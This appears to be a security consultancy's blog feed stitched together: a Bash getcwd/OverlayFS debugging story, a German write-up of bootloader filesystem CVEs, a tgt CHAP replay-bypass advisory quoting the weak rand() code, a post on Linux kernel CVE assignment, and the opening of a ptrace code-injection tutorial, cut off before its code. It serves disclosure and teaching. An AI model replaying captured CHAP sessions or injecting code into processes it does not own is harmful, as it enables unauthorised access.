To test this theory, we enabled system call tracing. Surprisingly, the trace revealed that the getcwd() system call never got called. Since glibc offers multiple getcwd() implementations depending on the system, we double-checked that we had reviewed the correct Linux-specific one. We found no code path that bypassed the system call.

Bash’s home made getcwd()

A hunch led us to check how Bash links to the getcwd symbol:

$ nm -D bash | grep getcwd
...
000c7b10 T getcwd
...

This showed that Bash includes its own getcwd() function rather than relying on glibc’s version. We expected this output instead:

$ nm -D bash | grep getcwd
...
         U getcwd
...

Surprised, we inspected the Bash source and confirmed it does contain a getcwd() implementation, but guarded by the following:

#if !defined (HAVE_GETCWD)

Developers originally intended this fallback for ancient Unix systems lacking the getcwd() system call. On Linux, HAVE_GETCWD should normally be defined.

We confirmed in config.h:

#define HAVE_GETCWD 1

At first, this puzzled us because under normal conditions, the implementation should never compile. But further inspection of config-bot.h showed this logic:

#if defined (HAVE_GETCWD) && defined (GETCWD_BROKEN) && !defined (SOLARIS)
#  undef HAVE_GETCWD
#endif

Sure enough, our config.h defined GETCWD_BROKEN. That explained why Bash used its internal fallback. But why did the system consider getcwd() broken?

Cross-Compilation Confusion

We examined the output of the configure script in detail to trace the origin of GETCWD_BROKEN. We found this line:

checking if getcwd() will dynamically allocate memory with 0 size... \
configure: WARNING: cannot check whether getcwd allocates memory when cross-compiling \
-- defaulting to no

The check in aclocal.m4 sets GETCWD_BROKEN if it can’t confirm that getcwd() allocates memory with a zero-size buffer. Since the build occurred in a cross-compilation environment, the test defaulted to failure.

We discovered that Bash becomes problematic in cross-compilation environments. Since Bash is cross-compiled for ARM in this specific setup, this made sense. We then wondered why this issue wasn’t more widespread. After all, both Bash and OverlayFS are common in embedded systems.

Next, we looked into how major embedded Linux projects like Yocto handle cross-compiling Bash. Although the Bash Yocto recipe didn’t mention getcwd, we found this line in meta/site/common-glibc:

bash_cv_getcwd_malloc=${bash_cv_getcwd_malloc=yes}

Yocto explicitly overrides the test result to avoid the fallback. The embedded Linux build system we used didn’t apply such a workaround. This clarified the issue. After we implemented a similar override, the issue vanished.

Root Cause Analysis

At this point, we had identified and fixed the bug. But several questions remained:

• Why did the issue appear only with OverlayFS?
• Why did Bash’s fallback getcwd() fail?

During testing, we observed another error message:

shell-init: error retrieving current directory: \
getcwd: cannot access parent directories: Success

This indicated that errno was sometimes set to 0, suggesting no error occurred, yet getcwd() still failed.

OverlayFS and Inode Numbers

To answer the remaining questions, we analyzed Bash’s getcwd() implementation. On Linux, you can determine the current working directory in two ways:

• Use the getcwd() system call
• Read the /proc/self/cwd symlink

Bash’s implementation used neither, aiming to support systems lacking these features. In fact, the fallback dates back to the last millennium. It used a classic Unix algorithm to reconstruct the working directory path:

• It calls stat(".") to obtain the inode number of the current directory.
• It calls readdir("..") to read the parent directory’s entries.
• It compares inode numbers to identify "."’s name.

It repeats this process recursively to climb the full path.

Note that this simplified description omits many details. In practice, you must evaluate both inode (st_ino) and device (st_dev) to work across mount points.

Tracing revealed that the fallback getcwd() failed on the very first path component. stat(".")⁴ returned an inode number N, but readdir("..")⁵ returned no matching directory with inode number N.

OverlayFS merges two directories, a lower (read-only) and an upper (writable) layer. When calling readdir() on a directory, OverlayFS combines entries from both layers without performing full lookups. It returns the underlying inode numbers directly, unmodified.

This design means that inode numbers from readdir() don’t guarantee uniqueness or stability in the merged view. Two entries might even share an inode number without being hard links. OverlayFS uses this approach to provide fast directory listings, performing a full lookup for each entry would incur performance penalties.

Conversely, stat() triggers a full lookup. OverlayFS allocates an inode object that provides stable and unique inode numbers. That stability is crucial for tools like find or du.

Bash’s fallback getcwd() assumes that the inode from stat() matches one returned by readdir(). OverlayFS breaks that assumption.

We eventually realized that OverlayFS documentation acknowledges this limitation: For directories, the inode number from readdir() may not match the number from stat().

The Role of the xino Feature

OverlayFS can deliver stable inode numbers via readdir() when the xino feature is active. 64-bit systems can encode extra data (e.g., instance numbers) into inode fields to prevent collisions. This works without requiring a full lookup and does not hurt readdir() performance.

However, 32-bit systems lack this space and the xino feature it not available. We encountered the original problem on a 32-bit ARM platform, which explained why the issue occurred there.

Incorrect Use of readdir() in Bash

One question remained: why did getcwd() sometimes fail with ENOTTY?

Upon inspecting Bash’s getcwd(), we noticed it misused readdir() slightly:

• readdir() returns NULL both on EOF and on error.
• To distinguish between an error condition and the end of the directory list, the caller must set errno to zero before calling readdir().
• If readdir() returns NULL and errno == 0, it means EOF.
• Bash forgot to reset errno before the call. For about 30 years, no one noticed.

As a result, when readdir() returned NULL with no match, Bash incorrectly assumed an error. It returned NULL and left errno in an undefined state. Sometimes, ENOTTY from a previous system call remained, producing misleading errors.

We have reported the issue to the GNU Bash project.

Conclusion

This bug hunt revealed several contributing factors:

• A misconfigured cross-compilation environment caused Bash to use its fallback getcwd().
• OverlayFS introduced subtle inode behavior differences, especially on 32-bit systems.
• Bash’s fallback getcwd() relied on assumptions that failed with OverlayFS.
• A decades-old oversight in Bash’s error handling created misleading errno values.

While we resolved the issue with a simple build tweak, the investigation highlighted deeper lessons about portability assumptions, legacy code, and filesystem complexity.

---

1. getcwd(2) Linux manual page ↩︎

2. OverlayFS Kernel Docs ↩︎

3. scp(1) manual page ↩︎

4. stat(2) Linux manual page ↩︎

5. readdir(3) Linux manual page ↩︎

]]>https://sigma-star.at/de/blog/2025/01/dateisystem-schwachstellen-in-bootloadern-ein-verstecktes-risiko-f%C3%BCr-verified-boot-mechanismen/Mon, 27 Jan 2025 00:00:00 +0100Richard Weinbergerhttps://sigma-star.at/de/blog/2025/01/dateisystem-schwachstellen-in-bootloadern-ein-verstecktes-risiko-f%C3%BCr-verified-boot-mechanismen/<h1 id="dateisystem-schwachstellen-in-bootloadern-ein-verstecktes-risiko-für-verified-boot-mechanismen">Dateisystem-Schwachstellen in Bootloadern: Ein verstecktes Risiko für Verified-Boot-Mechanismen</h1> <p>In modernen IoT-Systemen, besonders solchen mit Linux-basierten Embedded-Geräten, ist es zunehmend entscheidend geworden, die Integrität und Vertrauenswürdigkeit des Boot-Prozesses sicherzustellen. Verified-Boot-Mechanismen, oft auch Trusted Boot oder Secure Boot genannt, bilden das Fundament der Gerätesicherheit, indem sie garantieren, dass während des Boot-Prozesses nur signierter und authentifizierter Code ausgeführt wird. Dieser Mechanismus ist unverzichtbar, um sensible Funktionen wie Datenverschlüsselung, Authentifizierung und die allgemeine Integrität von IoT-Geräten zu schützen.</p>Dateisystem-Schwachstellen in Bootloadern: Ein verstecktes Risiko für Verified-Boot-Mechanismen

In modernen IoT-Systemen, besonders solchen mit Linux-basierten Embedded-Geräten, ist es zunehmend entscheidend geworden, die Integrität und Vertrauenswürdigkeit des Boot-Prozesses sicherzustellen. Verified-Boot-Mechanismen, oft auch Trusted Boot oder Secure Boot genannt, bilden das Fundament der Gerätesicherheit, indem sie garantieren, dass während des Boot-Prozesses nur signierter und authentifizierter Code ausgeführt wird. Dieser Mechanismus ist unverzichtbar, um sensible Funktionen wie Datenverschlüsselung, Authentifizierung und die allgemeine Integrität von IoT-Geräten zu schützen.

Es ist wichtig zu verstehen: Wenn Ihr IoT-System keinen Verified Boot einsetzt, stellen die hier beschriebenen Schwachstellen möglicherweise kein direktes Risiko dar. In solchen Fällen können Angreifer den persistenten Programmcode jederzeit manipulieren, wodurch diese spezifischen Schwachstellen ohnehin irrelevant werden.

Einführung

Der Verified-Boot-Prozess stellt sicher, dass jede Stufe der Boot-Sequenz eines Systems authentifiziert und vertrauenswürdig ist. Grob umrissen umfasst der Prozess die folgenden Schritte:

1. Boot-ROM-Validierung: Das Boot-ROM des System-on-Chip (SoC) leitet den Boot-Prozess ein, indem es einen signierten Bootloader lädt und so die erste Vertrauensschicht schafft.
2. Bootloader-Verifikation: Der Bootloader, üblicherweise U-Boot oder Barebox, lädt kritische Komponenten wie den Linux-Kernel, den Device Tree und das Initramfs aus dem Dateisystem und verifiziert deren Signaturen, um ihre Authentizität sicherzustellen.
3. Ausführung von Linux: Sobald der verifizierte Kernel gebootet ist, führt das System den Anwendungscode aus. Der Linux-Kernel sorgt weiterhin für Sicherheit, indem er die aus dem Dateisystem geladenen Dateien authentifiziert.

Diese Abfolge bildet eine Chain of Trust, in der jede Stufe die Integrität der nächsten verifiziert. Wird ein Teil dieser Kette kompromittiert, könnten Angreifer die Möglichkeit erlangen, beliebigen Code auszuführen, sensible Daten auszulesen oder sich als das Gerät auszugeben. Solche Schwachstellen bergen erhebliche Risiken, denn sie erlauben es Angreifern, bei ausreichendem Zugriff Schadcode auf dem Gerät zu installieren.

Kritische Codepfade

Jeder Schritt in der Chain of Trust verarbeitet und validiert potenziell bösartige Eingaben. So parst das Boot-ROM häufig eine SoC-herstellerspezifische Datenstruktur, die den Bootloader und dessen Signatur enthält. Eine Schwachstelle in diesem Codepfad könnte Angreifern ermöglichen, die Chain of Trust zu umgehen und beliebigen Code auszuführen. Solche Schwachstellen wurden im Boot-ROM bestimmter NXP-SoCs gefunden.

Ein weiterer bekannter kritischer Punkt ist der Bootloader. Je nach Bootloader und Betriebssystem müssen zentrale Dateien wie der Kernel oder Konfigurationsdateien geparst und verifiziert werden. Ein Beispiel für eine Schwachstelle in diesem Bereich ist die berüchtigte BootHole-Lücke im GRUB2-Bootloader, die Systeme erheblichen Sicherheitsrisiken aussetzte.

Dateisystem-Schwachstellen in Bootloadern: Ein verstecktes Risiko

Bootloader wie U-Boot und Barebox sind in IoT-Systemen weit verbreitet, weil sie ausgereift sind, umfangreiche Funktionen bieten und von einer starken Community unterstützt werden. Beide Bootloader verfügen über robuste Mechanismen für Verified Boot, mit denen sie die von ihnen geladenen Dateien authentifizieren können, darunter der Kernel und Konfigurationsdateien.

Ein erstes Audit ihrer Verified-Boot-Implementierungen hat jedoch eine häufig übersehene Schwachstelle zutage gefördert: die Dateisystem-Implementierung selbst.

Dateisysteme als Bedrohungsvektor

Die meisten Bootloader unterstützen eine Reihe von Dateisystemen wie ext4, FAT, SquashFS und UBIFS. Diese Implementierungen sind jedoch oft improvisiert und es fehlen ihnen zentrale Funktionen. Der Hauptgrund dafür ist, dass Bootloader in stark eingeschränkten Umgebungen arbeiten, ohne Unterstützung für Nebenläufigkeit und mit Zugriff auf nur minimale Ressourcen. Vollständige Dateisystem-Implementierungen sind für Bootloader daher überflüssig. Sie müssen lediglich funktional genug sein, um Dateien aus einem Dateisystem zu lesen, mehr nicht.

Eine zentrale Aufgabe einer Dateisystem-Implementierung besteht darin, die auf einem Speichermedium abgelegten Filesystem-Datenstrukturen zu parsen, sinnvoll zu interpretieren und die logischen Dateien an höhere Schichten weiterzureichen. In einem Verified-Boot-Setup mit Bootloadern wie U-Boot oder Barebox werden zwar die Inhalte der Dateien authentifiziert, die Filesystem-Datenstrukturen selbst jedoch typischerweise nicht. Das eröffnet einen Angriffsvektor: Ein Angreifer könnte bösartige Filesystem-Strukturen erstellen, die die Authentifizierungsprüfungen umgehen und Fehler in der Implementierung des Filesystem-Treibers ausnutzen. Durch das Manipulieren von Filesystem-Metadaten können Angreifer die Chain of Trust kompromittieren und so die Ausführung beliebigen Codes oder weitergehende Angriffe ermöglichen.

Wir haben die folgenden Schwachstellen gefunden, die direkt oder indirekt mit den Dateisystem-Implementierungen in den Bootloadern Barebox und U-Boot zusammenhängen:

• CVE-2024-57254: Integer Overflow in U-Boots Funktion zur Berechnung der SquashFS-Symlink-Größe
• CVE-2024-57255: Integer Overflow in U-Boots Funktion zur SquashFS-Symlink-Auflösung
• CVE-2024-57256: Integer Overflow in U-Boots Funktion zur ext4-Symlink-Auflösung
• CVE-2024-57257: Stack Overflow in U-Boots Funktion zur SquashFS-Symlink-Auflösung
• CVE-2024-57258: Mehrere Integer Overflows in U-Boots Speicherallokator
• CVE-2024-57259: Heap-Korruption in U-Boots Funktion zum Auflisten von SquashFS-Verzeichnissen
• CVE-2024-57260: Mehrere Schwachstellen in Bareboxs SquashFS aufgrund fehlender Patches aus Linux
• CVE-2024-57261: Integer Overflow in Bareboxs Speicherallokator
• CVE-2024-57262: Integer Overflow in Bareboxs Funktion zur SquashFS-Symlink-Auflösung

Zum Zeitpunkt der Erstellung dieses Artikels sind alle gefundenen Probleme in Barebox Version v2025.01.0 und U-Boot Version v2025.01-rc1 behoben.

Die Schwachstellen erlauben es einem Angreifer mit Zugriff auf das Speichermedium, Filesystem-Strukturen so zu verändern, dass die Ausführung nicht vertrauenswürdigen Codes möglich wird. Besonders CVE-2024-57256 ist ein lohnendes Ziel, da es einem Angreifer praktisch uneingeschränkten Zugriff auf den Speicher von U-Boot verschafft. Manche mögen die Relevanz von CVE-2024-57257 und CVE-2024-57258 in diesem Angriffsszenario in Frage stellen. Sowohl Barebox als auch U-Boot allozieren Puffer, um Filesystem-Daten zu speichern, wobei sich die Puffergrößen aus den Größenattributen der Filesystem-Strukturen ergeben. Da Angreifer diese Größenattribute manipulieren können, lassen sich Integer Overflows in den Speicherallokatoren auslösen. Das führt zu Buffer Overflows, wenn die Allokatoren weniger Speicher reservieren, als für die kopierten Daten nötig ist.

Auswirkungen dieser Schwachstellen

Die Auswirkungen dieser Schwachstellen hängen von Ihrem Bedrohungsmodell ab und reichen von keine bis kritisch. Wenn Sie keine Verified-Boot-Technologie einsetzen, stellen diese Schwachstellen für Sie voraussichtlich kein Sicherheitsproblem dar. Beruht die Integrität Ihres Produkts jedoch auf Verified-Boot-Mechanismen, könnte ein Angreifer diese Schwachstellen ausnutzen, um die Chain of Trust zu kompromittieren.

Die Lage unter Linux

Man könnte sich fragen, wie die Lage unter Linux aussieht. Ein Fehler in einer Dateisystem-Implementierung wäre unter Linux natürlich ebenfalls problematisch. Die Situation unter Linux ist jedoch aus zwei wesentlichen Gründen im Allgemeinen besser:

• Besseres Testing: Dateisysteme unter Linux werden gründlicher getestet, einschließlich regelmäßigem Fuzz-Testing, was dabei hilft, potenzielle Fehler aufzudecken und zu beheben. AFL-Fuzz-Testing hat viele Fehler in Linux aufgedeckt.
• Verbesserter Schutz: In einem Verified-Boot-Setup werden die vom Linux-Kernel genutzten Dateisysteme typischerweise durch Mechanismen wie dm-verity oder dm-integrity geschützt. Diese sorgen zusätzlich zur Verschlüsselung für die vollständige Integrität des Dateisystems. Ein präpariertes Dateisystem würde dadurch bereits früh auf der Block-Ebene erkannt, was das Risiko einer Ausnutzung mindert.

Fazit

Da sich IoT-Systeme weiter ausbreiten, wird es zunehmend entscheidend, die Integrität des Verified-Boot-Prozesses sicherzustellen. Dateisysteme, in der Chain of Trust oft übersehen, können eine erhebliche Schwachstelle der Bootloader-Sicherheit darstellen. Wir hoffen, dass Dateisystem-Implementierungen in Bootloadern künftig gründlicher getestet werden, um ihre Robustheit und Zuverlässigkeit zu verbessern.

]]>https://sigma-star.at/blog/2024/09/sigma-star-sa-2024-001/Sat, 07 Sep 2024 00:00:00 +0200Richard WeinbergerDavid Gstirhttps://sigma-star.at/blog/2024/09/sigma-star-sa-2024-001/sigma-star-sa-2024-001: CHAP authentication bypass in user-space Linux target framework (tgt) up to v1.0.92 (CVE-2024-45751)

Summary

The user-space iSCSI target daemon of the Linux target framework (tgt) uses an insecure random number generator to generate CHAP authentication callenges. This results in predictable challenges which an attacker capable of recording network traffic between iSCSI target and initiator can abuse to bypass CHAP authentication by replaying previous responses.

• Identifier: sigma-star-sa-2024-001
• Type of vulnerability (CWE): Use of cryptographically weak pseud-random number generator (CWE-338)
• Vendor: -
• Product/Software: The Linux target framework (tgt)
• Affected versions: <= 1.0.92
• Fixed versions: 1.0.93
• CVE ID: CVE-2024-45751

Affected Product and Vendor

The Linux target framework (tgt) is a user space SCSI target framework that supports the iSCSI and iSER transport protocols and that supports multiple methods for accessing block storage. Tgt consists of user-space daemon and tools.

]]>sigma-star-sa-2024-001: CHAP authentication bypass in user-space Linux target framework (tgt) up to v1.0.92 (CVE-2024-45751)

Summary

The user-space iSCSI target daemon of the Linux target framework (tgt) uses an insecure random number generator to generate CHAP authentication callenges. This results in predictable challenges which an attacker capable of recording network traffic between iSCSI target and initiator can abuse to bypass CHAP authentication by replaying previous responses.

• Identifier: sigma-star-sa-2024-001
• Type of vulnerability (CWE): Use of cryptographically weak pseud-random number generator (CWE-338)
• Vendor: -
• Product/Software: The Linux target framework (tgt)
• Affected versions: <= 1.0.92
• Fixed versions: 1.0.93
• CVE ID: CVE-2024-45751

Affected Product and Vendor

The Linux target framework (tgt) is a user space SCSI target framework that supports the iSCSI and iSER transport protocols and that supports multiple methods for accessing block storage. Tgt consists of user-space daemon and tools.

Source: https://github.com/fujita/tgt/blob/e393a80b02b8cb90709c75f9bd91542ea3a78d58/README.md

Description

tgt supports CHAP for authenticating initiators. As defined in the CHAP specification the target generates a random challenge and sends it to the initiator. tgt fails to use a cryptographically secure random number generator for this. Instead it simply uses the rand() call without setting a seed using srand() first. Thus the default seed (equivalent to srand(1)) will be used. This results in a predictable sequence of numbers being returned by subsequent calls to rand().

Note that even though tgt generates a random length for each challenge, this does not affect the predictability of challenges as these lengths will also be generated using predictable output of rand().

static int chap_initiator_auth_create_challenge(struct iscsi_connection *conn)
{
	char *value, *p;
	char text[CHAP_CHALLENGE_MAX * 2 + 8];
	static int chap_id;
	int i;

	[...]

	/*
	 * FIXME: does a random challenge length provide any benefits security-
	 * wise, or should we rather always use the max. allowed length of
	 * 1024 for the (unencoded) challenge?
	 */
	conn->auth.chap.challenge_size = (rand() % (CHAP_CHALLENGE_MAX / 2)) + CHAP_CHALLENGE_MAX / 2;

	conn->auth.chap.challenge = malloc(conn->auth.chap.challenge_size);
	if (!conn->auth.chap.challenge)
		return CHAP_TARGET_ERROR;

	p = text;
	strcpy(p, "0x");
	p += 2;
	for (i = 0; i < conn->auth.chap.challenge_size; i++) {
		conn->auth.chap.challenge[i] = rand();
		sprintf(p, "%.2hhx", conn->auth.chap.challenge[i]);
		p += 2;
	}
	text_key_add(conn, "CHAP_C",  text);

	return 0;
}

Source: https://github.com/fujita/tgt/blob/v1.0.92/usr/iscsi/chap.c#L333

Impact

An attacker who is able to recording network traffic between iSCSI target and initiator can apply a replay attack to bypass the CHAP authentication. All the attacker has to do is wait for the server or the service to restart and replay with a previously record CHAP session which fits into the sequence.

Having bypassed CHAP authentication, an attacker has full user privileges and can modify the iSCSI target at will within that user privileges.

Mitigation

We recommend replacing the pseudo-random number generator (rand()) with getrandom()as this will yield cryptographically secure pseudo-random numbers fitting for CHAP challenges.

Version 1.0.93 contains this fix.

Patches

• https://github.com/fujita/tgt/pull/67/commits/abd8e0d987ab56013d360077202bf2aca20a42dd (chap: Use proper entropy source)

Disclosure Timeline

• 2024-09-03: Vulnerability disclosed to vendor
• 2024-09-04: Vendor requested full disclosure
• 2024-09-04: Patch submitted to vendor and version 1.0.93 released by vendor
• 2024-09-07: Advisory published

Credits

• Richard Weinberger (sigma star gmbh)
• David Gstir (sigma star gmbh)

]]>https://sigma-star.at/blog/2024/03/linux-kernel-cna/Wed, 13 Mar 2024 00:00:00 +0100Richard Weinbergerhttps://sigma-star.at/blog/2024/03/linux-kernel-cna/Thoughts on Linux CNA’s Approach and the Resulting CVE Flood

Recently, the Linux Kernel Project attained the status of a CNA¹ (CVE Numbering Authority), granting it the capability to independently issue CVEs (Common Vulnerabilities and Exposures). While this development may seem unremarkable, the substantial increase in the number of newly assigned CVEs raises many questions. I’ve received numerous inquiries from people seeking clarification and expressing concern about the apparent surge in the issuance of CVE numbers for almost every non-trivial patch applied to the maintained stable kernel trees.

]]>Thoughts on Linux CNA’s Approach and the Resulting CVE Flood

Recently, the Linux Kernel Project attained the status of a CNA¹ (CVE Numbering Authority), granting it the capability to independently issue CVEs (Common Vulnerabilities and Exposures). While this development may seem unremarkable, the substantial increase in the number of newly assigned CVEs raises many questions. I’ve received numerous inquiries from people seeking clarification and expressing concern about the apparent surge in the issuance of CVE numbers for almost every non-trivial patch applied to the maintained stable kernel trees.

It appears that there is a diversity of interpretations regarding what qualifies as a CVE and what does not. In this blog post, I aim to articulate some personal reflections on this situation.

Understanding Vulnerabilities

Assigning a CVE doesn’t always mean a critical issue that every user must quickly address.

Let’s take a look at what cve.org says about what qualifies as a vulnerability. The CNA rules² are:

7.1.1 If a product owner considers an issue to be a vulnerability in its product, then the issue MUST be considered a vulnerability, regardless of whether other parties (e.g., other vendors whose products share the affected code) agree.

7.1.2 If the CNA determines that an issue violates the security policy of a product, then the issue SHOULD be considered a vulnerability.

7.1.3 If a CNA receives a report about a new vulnerability that has a negative impact, then the reported vulnerability MAY be considered a vulnerability.

The Linux Kernel CNA³ itself states:

As part of the normal stable release process, kernel changes that are potentially security issues are identified by the developers responsible for CVE number assignments and have CVE numbers automatically assigned to them. These assignments are published on the linux-cve-announce mailing list as announcements on a frequent basis.

Note, due to the layer at which the Linux kernel is in a system, almost any bug might be exploitable to compromise the security of the kernel, but the possibility of exploitation is often not evident when the bug is fixed. Because of this, the CVE assignment team is overly cautious and assign CVE numbers to any bugfix that they identify. This explains the seemingly large number of CVEs that are issued by the Linux kernel team.

So, the Kernel CNA adheres to rule 7.1.3 of cve.org, indicating that any patch addressing a bug with potential negative impacts receives a CVE. This doesn’t necessarily imply that the bug is exploitable, but it could be exploited by someone with malicious intent as part of an exploit chain. Modern exploits often consist of a complex chain that utilizes numerous small bugs.

It’s important to note that the Kernel CNA lacks context on individual system usage or threat models. Therefore, the CNA cannot determine if you prioritize bugs that can be triggered remotely or care about those only the root user can activate. The ultimate decision on whether a CVE is relevant to your system lies with you or your Linux vendor.

Let’s Take a Closer Look

Many people express concern that almost every bug fix receives a CVE, suggesting that the Kernel CNA should limit CVE assignments to bug fixes addressing security issues. However, distinguishing between a regular bug fix and a security bug fix can be challenging, especially for a foundational component like the monolithic UNIX kernel. Let’s examine the last few CVEs in my linux-cve-announce mailbox.

CVE-2023-52589: media: rkisp1: Fix IRQ disable race issue

The rkisp1 media driver for RockChip SoCs suffers from a bug in interrupt handling which can lockup (deadlock) the kernel. If the attacker can control the driver or the media stream a DoS situation could occur.

CVE-2023-52591: reiserfs: Avoid touching renamed directory if parent does not change

The bug fix addresses a locking issue in the reiserfs filesystem. It does not correctly use the Linux VFS interface which could lead to a corrupted filesystem. A local attacker could trigger this and corrupt data on disk.

CVE-2023-52590: ocfs2: Avoid touching renamed directory if parent does not change

Fixes the same as CVE-2023-52591 but in the ocfs2 filesystem.

CVE-2024-26626: ipmr: fix kernel panic when forwarding mcast packets

This fix addresses a potential kernel panic caused by a NULL pointer dereference when forwarding multicast IP packets. The NULL pointer dereference could result in a simple denial-of-service (DoS) attack, but it could escalate to something more serious if it is a use-after-free issue. Despite multicast routing is typically disabled by default on Linux, this case still qualifies for a CVE due to its potential impact when enabled.

CVE-2024-26628: drm/amdkfd: Fix lock dependency warning

Linux’s lock checker identified an invalid lock state within a GPU driver, and the patch addresses this issue by restructuring certain code paths. While this problem is probably not exploitable on its own, it could potentially assist a local attacker in exploiting undefined behavior resulting from the invalid lock state. It’s important to note that for this to be a concern, the specific GPU driver in question must be in use on the target system.

CVE-2024-26627: scsi: core: Move scsi_host_busy() out of host lock for waking up EH handler

In this scenario, a bug within the SCSI library in the kernel is addressed. This bug has the potential to cause a kernel lockup, akin to a deadlock, especially when there is an abundance of SCSI requests in progress in a specific configuration. This situation could result in a Denial of Service (DoS) scenario if an attacker can control the amount of SCSI requests.

Arguably, except for CVE-2024-26626, none of the aforementioned CVEs appear particularly dangerous at first glance. However, it’s crucial to recognize that each bug fix behind these CVEs addresses an issue resulting in undefined behavior. For a skilled attacker, any of these bugs could serve as a useful building block.

Linux’s Approach

As I see it, the approach adopted by the Linux Kernel CNA is refreshingly honest. It may be surprising because other projects or vendors, especially proprietary ones, often take the opposite approach, attempting to avoid assigning a CVE unless it’s unequivocally clear that a bug is exploitable. The reluctance of some vendors to assign new CVEs has led to the emergence of projects like !CVE. This highlights a conceptual challenge with CVEs—they are a somewhat generic tool, and various interpretations exist regarding what qualifies as a CVE. For those accustomed to few CVEs being issued, each describing an independently exploitable bug, the Linux kernel CNA’s approach may be unexpected.

Dealing with the CVE Flood

CVEs serve as a widely-used metric to signal when a specific software component has received a security fix, prompting the need for an update in products or software built upon it. However, as a vendor, delivering updates can be challenging, and customers may not always be enthusiastic about installing them unless absolutely necessary. This reluctance often leads product maintainers to prefer CVEs for severe and demonstrably exploitable issues. Furthermore, security scanners tend to flag any CVE associated with a particular software version, but they lack awareness of your kernel configuration or loaded drivers, just like the kernel CNA. Ultimately, determining the relevance of a CVE rests with you. When in doubt, it’s prudent to consider yourself affected.

To effectively manage the influx of CVEs, consider the following:

• Always use a recent and supported kernel, such as a Long-Term Support (LTS) version.
• Establish a robust update strategy with rollback capabilities.
• Keep your customizations atop the kernel minimal and well maintained to minimize disruptions during upgrades.
• Whenever possible, contribute your changes upstream to keep your patch queue slim.
• Familiarize yourself with your kernel configuration, including enabled config options and used drivers. For instance, if you’re not using reiserfs, CVE-2023-52591 may not be applicable to your system…
• Understand your threat model; Can you trust local users or even the root user? This knowledge informs your risk assessment and response to potential vulnerabilities.

It should also be noted that the increased number of CVEs does not necessarily imply that Linux is less secure than before. The surge simply provides greater insight and transparency into issues that could potentially impact security. Previously, you would have had to monitor each bug fix manually.

Is My Kernel Affected by a CVE? - A Rough Metric

The Linux kernel is highly configurable at build time, there is a good chance that many CVEs affect code your kernel build doesn’t has enabled. By looking at the affected files list of a bug fix for a CVE you can check whether the patched files are actually part of your kernel build. If they are not, the bug fix is unlikely to affect you.

Let’s use CVE-2024-26628 as example. The Affected files section states drivers/gpu/drm/amd/amdkfd/kfd_svm.c, so if this file is part of your kernel build, you’re affected.

Recent kernels allow creating a compile_commands.json file like many other build systems do. By checking this JSON file it is possible to see whether a particular file will be build.

$ make compile_commands.json
$ jq '.[] | .file' compile_commands.json | grep drivers/gpu/drm/amd/amdkfd/kfd_svm.c

Ideally, you store compile_commands.json after every build somewhere, then you can quickly check without needing the kernel build directory.

In case your kernel is too old to have compile_commands.json, you can still check after a build by searching for the object file. Replace the .c suffix with .o and search in the build directory for it.

Please keep in mind that this all works only if you’re using a kernel version that is still supported.

Conclusion

The Linux CNA intentionally adopts an overly cautious approach and assigns a new CVE when in doubt. While this may surprise many, it is a perfectly legitimate and entirely honest strategy. In contrast, vendors of proprietary software often tend to take the opposite approach, minimizing the assignment of CVEs whenever possible. Effectively managing the substantial number of CVEs involves understanding your kernel configuration, having a clear threat model, and ensuring the ability to update the kernel as needed. I hope that other large projects will eventually adopt Linux’s approach.

---

1. Linux is a CNA ↩︎

2. CNA Rules | CVE ↩︎

3. CVes - The Linux Kernel documentaion ↩︎

]]>https://sigma-star.at/blog/2024/02/exit0-code-injection/Sun, 25 Feb 2024 00:00:00 +0100Richard Weinbergerhttps://sigma-star.at/blog/2024/02/exit0-code-injection/Pseudo Graceful Process Termination through Code Injection

Introduction

On UNIX systems, terminating programs involves sending signals, such as SIGTERM or SIGKILL¹, to the target process. SIGTERM allows a process to gracefully handle the termination signal, whereas SIGKILL abruptly ends the process. After termination, the parent process takes charge by reading the exit status and acting accordingly. An exit code of 0 signifies success, whereas other codes denote failures, including termination by a signal or application errors.

]]>Pseudo Graceful Process Termination through Code Injection

Introduction

On UNIX systems, terminating programs involves sending signals, such as SIGTERM or SIGKILL¹, to the target process. SIGTERM allows a process to gracefully handle the termination signal, whereas SIGKILL abruptly ends the process. After termination, the parent process takes charge by reading the exit status and acting accordingly. An exit code of 0 signifies success, whereas other codes denote failures, including termination by a signal or application errors.

However, what if the need arises to forcefully terminate a process, disguising it as a successful exit? I came across this need recently while observing a long-running process that blocked further work. It made no progress, and I was tempted to just kill² it. Since the parent process would detect the non-zero exit code, there was a high likelihood of making things worse.

This got me thinking - how can we build a tool to stop a process forcefully but make it look like a successful termination? As far as I know, Linux doesn’t provide an API to perform such a kill. So I decided to take a different route and make the process terminate itself with a zero exit code using code injection.

The Plan

Linux offers multiple APIs to alter the memory of a process. You can use the ptrace()³ and process_vm_writev()⁴ system calls or access /proc/PID/mem⁵. Internally, all of them utilize the process tracing and debugging subsystem. The most basic access API is ptrace(), which allows word wise access, process_vm_writev() is ideal if you need to transfer more data and want to use fewer system calls. And finally, /proc/PID/mem lets you treat foreign memory like a file.

The plan is to stop all threads of the target program, identify a memory location where we can write code, and make one thread execute the exit_group()⁶ system call with an exit code of zero. Since we aim for a graceful exit, the program must not crash or exhibit undefined behavior as soon as we start editing the executing code. It is crucial to halt all threads of the program before altering the program code. Remote memory allocation into a process is not possible, so we need to modify existing memory.

Stopping only one thread carries the risk that another thread may concurrently execute code in the area we are changing, triggering an access or illegal instruction exception. Therefore, it is necessary to stop all threads to ensure a smooth modification process.

Step 1: Finding and Seizing all Threads

Linux exposes all thread IDs of a process via /proc/PID/task/, allowing us to iterate over the list and stop each one. It is important to repeat this process until no new threads appear. There is always a possibility that a thread is creating a new one while we are scanning. Additionally, we need to handle the scenario where threads exit while we are scanning the list.

Once we find a non-stopped thread, we apply the ptrace() operations PTRACE_SEIZE and PTRACE_INTERRUPT. PTRACE_SEIZE attaches us to the thread and enables further ptrace() operations. PTRACE_INTERRUPT ensures that the current system call is aborted, causing the thread to enter the stop state.

Step 2: Finding a Suitable Memory Location

After stopping all threads, the next step is to find a suitable location to write our code. Saving the thread’s current CPU register set using PTRACE_GETREGSET is crucial for this step. From the register set, we can determine where the program counter was when we seized and interrupted the thread. It is safe to assume that the program counter will point to a memory location that is executable. Therefore, the memory page the program counter points to is guaranteed to be executable, and we can place our code there.

However, one corner case to consider is if the program counter is near the end of the page, the injected code could overlap into the next adjacent page. The adjacent page might be non-executable or not even present. To avoid this scenario, we rewind the program counter to the beginning of the page. It’s important to note that this approach works only if the code to be injected is smaller than the size of a page.

Step 3: Injecting Code

Now it is time to think about what code to inject. Our goal is to have a thread inside the target process to execute the group_exit() system call. For a x86_64 system the assembly code could look like that:

